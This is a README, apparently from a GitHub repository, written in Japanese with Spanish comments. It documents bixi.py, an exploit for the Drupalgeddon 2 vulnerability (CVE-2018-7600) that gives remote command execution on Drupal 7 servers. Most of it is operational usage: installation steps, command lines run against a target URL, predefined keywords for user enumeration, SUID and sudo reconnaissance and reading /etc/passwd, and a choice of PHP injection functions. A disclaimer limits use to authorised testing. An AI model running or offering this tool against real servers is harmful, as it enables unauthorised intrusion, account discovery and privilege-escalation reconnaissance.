🔥 Drupalgeddon 2 エクスプロイト — `bixi.py`

📖 説明

bixi.py は、Drupal 7 に影響する脆弱性 CVE‑2018‑7600 (Drupalgeddon 2) を対象とするエクスプロイトです。直感的なインターフェースと定義済みコマンドを使用して、脆弱な Drupal サーバー上でリモートコマンド実行（RCE）を可能にします。

⚠️ 免責事項 / 法的通知

このソフトウェアは、管理された環境における教育および研究目的のみに使用してください。

所有しているシステム、または書面によるテスト許可を得たシステムでのみ使用すること
無許可の使用は違法であり、刑事罰につながる可能性があります
作者は本ツールの誤用について一切責任を負いません
常に地域および国際的なサイバーセキュリティ法を遵守してください

"大いなる力には大いなる責任が伴う"

📋 特徴

✅ CVE‑2018‑7600 の自動エクスプロイト
✅ Linux および Windows 向けの定義済みコマンド
✅ 複数のインジェクション方式 (system, passthru, exec, shell_exec)
✅ ヘルプ機能を備えた直感的なインターフェース
✅ 堅牢なエラー処理とタイムアウト管理
✅ 読みやすく整形された出力

🚀 クイックインストール

1. リポジトリのクローン

git clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600

2. 依存関係のインストール

# Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests

# Otras distribuciones
pip3 install requests

3. 実行権限の付与

chmod +x bixi.py

🎯 基本的な使い方

完全なヘルプを表示

python3 bixi.py --help

一般的な構文

python3 bixi.py <URL> <COMANDO/PALABRA_CLAVE> [INJECTION_TYPE]

実行例

# Verificar vulnerabilidad
python3 bixi.py http://10.99.99.6/drupal/ test

# Detectar sistema operativo
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows

# Enumerar usuarios
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user

# Información del sistema
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig

# Comandos personalizados
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"

📊 定義済みキーワード

🐧 Linux

Comando	Descripción
linux	システム情報
users_linux	ユーザー一覧
id	ユーザー/グループ情報
ls	ファイル一覧
ifconfig	ネットワーク情報
find_flag	フラグを検索

🪟 Windows

Comando	Descripción
windows	システム情報
net_user	ユーザー一覧
whoami_win	詳細情報
ipconfig	ネットワーク
netstat_win	接続状況
dir	ディレクトリ一覧

🔧 ペンテスト

Comando	Descripción
sudo	sudo 権限の確認
suid	SUID バイナリの検索
net_localgroup	ローカルグループ
drupal_config	設定の検索
drupal_version	Drupal のバージョン取得

🎨 インジェクション方式

# system (default)
python3 bixi.py http://target/ "whoami" system

# passthru
python3 bixi.py http://target/ "whoami" passthru

# exec
python3 bixi.py http://target/ "whoami" exec

# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec

🏗️ プロジェクト構成

drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│   ├── linux_commands.txt
│   └── windows_commands.txt
└── screenshots/
    ├── help_screen.png
    └── exploit_success.png

🔧 詳細設定

プロキシ（オプション）

proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

タイムアウト

デフォルト値（15秒）を変更:

timeout=15

新しいコマンドの追加

get_command_for_keyword() 内の commands 辞書を編集します

🐛 トラブルシューティング

エラー: No module named 'requests'

pip3 install requests

エラー: Connection refused

# Verificar conectividad
ping TARGET_IP

# Verificar ruta Drupal
curl http://TARGET_IP/drupal/

Drupalgeddon2-CVE-2018-7600

人気

🔥 Drupalgeddon 2 エクスプロイト — bixi.py